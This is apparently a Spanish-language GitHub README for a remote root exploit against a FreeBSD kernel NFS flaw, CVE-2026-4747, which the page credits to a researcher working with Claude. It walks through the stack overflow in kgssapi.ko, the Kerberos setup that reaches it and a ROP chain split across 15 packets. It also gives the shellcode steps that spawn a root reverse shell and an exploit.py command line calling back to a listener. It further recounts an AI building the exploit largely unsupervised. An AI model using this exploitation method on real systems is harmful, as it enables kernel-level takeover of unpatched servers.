kaleth4/cve-2026-4747Exploit remoto de RCE en el kernel para FreeBSD CVE-2026-4747, un desbordamiento de búfer en la pila en kgssapi.ko que conduce a una shell de root mediante una cadena ROP y shellcode.
____ __ ______ ____ ___ ____ __ _ _____ _ _ ___
/ ___/\ \ / / ___| |___ \ / _ \___ \ \ \ | ||___ | || ||__ \
| | \ \ / /| | ___ __) | | | |__) | \ \ _ | | / /| || |_ ) |
| |___ \ V / | |___|___| / __/| |_| / __/ \ \ | |__| | / / |__ _|/ /
\____| \_/ \____| |_____|\___/_____| \_\ \____/ /_/ |_||___|
Stack Buffer Overflow en kgssapi.ko → Root Shell en ~4 horas
"El primero exploit de RCE remota de kernel descubierto Y explotado por una IA. Tiempo total: ~4 horas de trabajo real."
— Descubierto por Nicholas Carlini usando Claude (Anthropic) · Publicado 26 Mar 2026
CVE-2026-4747 es una vulnerabilidad de desbordamiento de búfer en la pila (stack buffer overflow) ubicada en kgssapi.ko, el módulo del kernel de FreeBSD que implementa autenticación RPCSEC_GSS para NFS.
La función svc_rpc_gss_validate() copia un credential body controlado por el atacante hacia un buffer de 128 bytes en la pila (rpchdr[]) sin verificar el tamaño. Como 32 bytes ya están ocupados por campos del header RPC, solo quedan 96 bytes libres — pero la capa XDR permite credentials de hasta 400 bytes, dando 304 bytes de overflow.
| Campo | Valor |
|---|---|
| CVE ID | CVE-2026-4747 |
| CWE | CWE-121 (Stack-based Buffer Overflow) |
| Componente | kgssapi.ko / librpcgss_sec |
| Protocolo | NFS / RPCSEC_GSS / Kerberos |
| Privilegio requerido | Ticket Kerberos válido (bajo privilegio) |
| Impacto | Remote Kernel Code Execution → uid 0 |
| CVSS | 9.8 Critical |
| Parcheado | FreeBSD-SA-26:08.rpcsec_gss |
26 Mar 2026 ── FreeBSD publica FreeBSD-SA-26:08.rpcsec_gss
Crédito: "Nicholas Carlini using Claude, Anthropic"
29 Mar 2026 ── 09:45 AM PDT: Se solicita a Claude desarrollar un exploit
05:00 PM PDT: Claude entrega shell de root funcional
Total: ~7h wall clock / ~4h de trabajo real de Claude
El humano estuvo AFK durante gran parte del proceso.
/* En svc_rpc_gss_validate() — kgssapi.ko */
uint8_t rpchdr[128]; /* Buffer en la pila */
/* 32 bytes ya consumidos por campos del header RPC */
/* Solo quedan 96 bytes libres */
/* XDR permite credentials de hasta 400 bytes */
/* 400 - 96 = 304 bytes de overflow → RIP hijack */
memcpy(rpchdr, credential_body, credential_len); /* ← BUG: sin verificar tamaño */
FreeBSD 14.x no tiene:
int32_t[])Esto hace que el overflow → control de RIP sea directo.
Atacante (red)
│
│ Ticket Kerberos válido para nfs/target@REALM
│
▼
NFS Server (puerto 2049/TCP)
│
│ RPCSEC_GSS request con credential_len = 400
│
▼
svc_rpc_gss_validate() ← kernel ring 0
│
│ memcpy sin verificar tamaño
│ [128 bytes buffer + 304 bytes overflow]
│
▼
Stack Smashing → RIP controlado → ROP chain → Shellcode
│
▼
kproc_create() + kern_execve("/bin/sh") → uid=0 reverse shell
Claude resolvió 6 problemas distintos para ir del advisory al shell de root:
# VM FreeBSD 14.4-RELEASE con:
# - 2+ CPUs (FreeBSD spawna 8 threads NFS por CPU; el exploit necesita 15 rondas)
# - kgssapi.ko cargado
# - NFS activo en puerto 2049
# - MIT Kerberos KDC configurado (requerido para alcanzar el código vulnerable)
# - Port forwarding QEMU: host:2049 → guest:2049, host:8888 → guest:88 (KDC)
# Configuración Kerberos crítica en el atacante:
# /etc/krb5.conf
[libdefaults]
rdns = false # Sin esto: ticket para nfs/localhost@REALM (incorrecto)
dns_canonicalize_hostname = false # El servidor rechaza con KRB5KRB_AP_WRONG_PRINC
El shellcode mide 432 bytes pero solo hay 200 bytes para el ROP chain por paquete.
Ronda 1: ROP → pmap_change_prot(BSS, RWX) ← hacer BSS ejecutable
Rondas 2-14: ROP → write 32 bytes de shellcode al BSS (4 writes × 8 bytes)
Ronda 15: ROP → write últimos bytes + JUMP al shellcode
Budget por ronda: 4 writes × 40 bytes = 160 bytes + 24 bytes exit = 184 bytes ✓ (< 200)
; Cada ronda termina con kthread_exit(0) en lugar de retorno normal
; El servidor no crashea — simplemente pierde un thread NFS
; Con 2 CPUs: 16 threads disponibles → suficiente para 15 rondas
# Secuencia De Bruijn → cada substring de 8 bytes es único
# Enviar como credential body → kernel crashea → leer RIP del crash dump
# El disassembly decía offset 168 → real: 200 bytes
# Diferencia: 32 bytes del GSS header que el análisis estático no contempló
pattern = cyclic(400) # De Bruijn de 400 bytes
# Crash dump: instruction pointer = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200
El shellcode corre en un thread NFS puro de kernel — sin vmspace, sin trapframe.
/* Fase 1 (en shellcode del thread NFS hijackeado): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit(); /* Matar thread NFS limpiamente */
/* Fase 2 (en el nuevo proceso): */
/* 1. Limpiar debug registers (bug de hardware - ver Paso 5) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");
/* 2. Ejecutar /bin/sh */
kern_execve("/bin/sh", args, envp);
/* 3. CRÍTICO: Limpiar P_KPROC flag */
/* Sin esto, fork_exit() llama kthread_exit() y mata el proceso */
proc->p_flag &= ~P_KPROC;
/* 4. Retornar → fork_exit() → userret() → iretq → ring 3 → uid=0 shell */
Síntoma: El proceso hijo crashea con trap 1 (debug exception) en instrucción válida.
Causa: kproc_create/fork1 copia el PCB del padre, heredando los breakpoints de DDB
que quedaron de crashes anteriores durante el desarrollo del exploit.
Fix: Dos instrucciones antes de kproc_create:
xor eax, eax
mov dr7, rax ← Deshabilita todos los hardware breakpoints
$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
Target: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/[email protected]